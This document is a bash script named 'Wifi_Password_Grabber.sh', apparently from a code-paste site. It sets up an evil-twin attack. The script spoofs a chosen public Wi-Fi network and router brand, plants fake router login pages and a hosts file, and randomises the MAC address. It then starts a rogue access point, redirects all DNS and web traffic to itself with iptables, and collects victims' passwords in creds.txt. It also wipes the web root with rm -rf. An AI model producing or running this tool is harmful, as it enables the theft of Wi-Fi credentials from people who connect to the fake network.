Wifi_Password_Grabber.sh 3.6 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122
  1. #!/bin/bash
  2. # Color variables
  3. red='\033[0;31m'
  4. green='\033[0;32m'
  5. yellow='\033[0;33m'
  6. blue='\033[0;34m'
  7. magenta='\033[0;35m'
  8. cyan='\033[0;36m'
  9. # Clear the color after that
  10. clear='\033[0m'
  11. cat << "EOF"
  12. __ ___ __ _
  13. \ \ / (_)/ _(_)
  14. \ \ /\ / / _| |_ _
  15. \ \/ \/ / | | _| |
  16. \ /\ / | | | | |
  17. ___\/ \/ |_|_| |_| _
  18. | __ \ | |
  19. | |__) |_ _ ___ _____ _____ _ __ __| |
  20. | ___/ _` / __/ __\ \ /\ / / _ \| '__/ _` |
  21. | | | (_| \__ \__ \\ V V / (_) | | | (_| |
  22. |_|___\__,_|___/___/ \_/\_/ \___/|_| \__,_|
  23. / ____| | | | |
  24. | | __ _ __ __ _| |__ | |__ ___ _ __
  25. | | |_ | '__/ _` | '_ \| '_ \ / _ \ '__|
  26. | |__| | | | (_| | |_) | |_) | __/ |
  27. \_____|_| \__,_|_.__/|_.__/ \___|_|
  28. EOF
  29. rm -rf /var/www/html/*
  30. echo ""
  31. echo -e ${green}"Which interface do you want to use as your AP NIC? Example: wlan1"${clear}
  32. echo ""
  33. read AP
  34. sleep 1
  35. echo ""
  36. echo -e ${yellow}"Using $AP as your AP interface"${clear}
  37. echo ""
  38. echo -e ${green}"What is the Wifi network you want to spoof? Example: Starbucks Wifi"${clear}
  39. echo ""
  40. read SSID
  41. sleep 1
  42. echo ""
  43. echo -e ${yellow}"Using $SSID as your spoofed network"${clear}
  44. sleep 1
  45. echo ""
  46. echo -e ${green}"What is the router company you want to spoof on your network? Example: NetGear"${clear}
  47. echo ""
  48. read router
  49. sleep 1
  50. echo ""
  51. echo -e ${yellow}"Using $router as your spoofed company"${clear}
  52. sleep 1
  53. echo ""
  54. echo -e ${green}"What is the router company's domain you want to spoof on your network? Example: netgear.com"${clear}
  55. echo ""
  56. read domain
  57. sleep 1
  58. echo ""
  59. echo -e ${yellow}"Using $domain as your spoofed company"${clear}
  60. sleep 1
  61. mkdir /var/www/html/redirect/
  62. cp Resources/hosts . 2>/dev/null
  63. cp Resources/hostapd.conf . 2>/dev/null
  64. cp Resources/router.html . 2>/dev/null
  65. cp Resources/router.php . 2>/dev/null
  66. cp Resources/index2.html . 2>/dev/null
  67. cp html/.htaccess . 2>/dev/null
  68. sed -i "s/SSID/${SSID}/g" router.html
  69. sed -i "s/AP/${AP}/g" hostapd.conf
  70. sed -i "s/SSID/${SSID}/g" hostapd.conf
  71. sed -i "s/domain/${domain}/g" router.php
  72. sed -i "s/domain/${domain}/g" index2.html
  73. sed -i "s/domain/${domain}/g" hosts
  74. rm /etc/hostapd/hostapd.conf 2>/dev/null
  75. mv hostapd.conf /etc/hostapd/hostapd.conf
  76. mv router.html /var/www/html/
  77. #cp Resources/index2.html /var/www/html/index.html
  78. #mv index2.html /var/www/html/index.html
  79. mv index2.html /var/www/html/redirect/index.html
  80. mv router.php /var/www/html/
  81. mv hosts /etc/hosts
  82. mv .htaccess /var/www/html
  83. echo ""
  84. echo -e ${green}"Changing $AP MAC Address"${clear}
  85. echo ""
  86. ifconfig $AP down
  87. macchanger -A $AP
  88. sleep 1
  89. ifconfig $AP up
  90. sleep 1
  91. echo ""
  92. echo -e ${green}"Configuring $AP Into An Access Point"${clear}
  93. echo ""
  94. hostapd -B /etc/hostapd/hostapd.conf
  95. sleep 2
  96. echo ""
  97. echo -e ${green}"Bringing Up The Bridge"${clear}
  98. echo ""
  99. ifconfig br0 up
  100. sleep 2
  101. ifconfig br0 10.1.1.1 netmask 255.255.255.0
  102. sysctl net.ipv4.ip_forward=1
  103. echo ""
  104. echo -e ${green}"Setting IPTables"${clear}
  105. iptables --flush
  106. iptables -t nat --flush
  107. iptables -t nat -A PREROUTING -i br0 -p udp -m udp --dport 53 -j DNAT --to-destination 10.1.1.1:53
  108. iptables -t nat -A PREROUTING -i br0 -p tcp -m tcp --dport 80 -j DNAT --to-destination 10.1.1.1:80
  109. iptables -t nat -A PREROUTING -i br0 -p tcp -m tcp --dport 443 -j DNAT --to-destination 10.1.1.1:443
  110. iptables -t nat -A POSTROUTING -j MASQUERADE
  111. sleep 2
  112. echo ""
  113. echo -e ${green}"Starting Rouge DNS"${clear}
  114. systemctl start dnsmasq
  115. sleep 4
  116. echo ""
  117. echo -e ${red}"Access Point Should Be Up. Watch /var/www/html/creds.txt For Creds"${clear}
  118. echo ""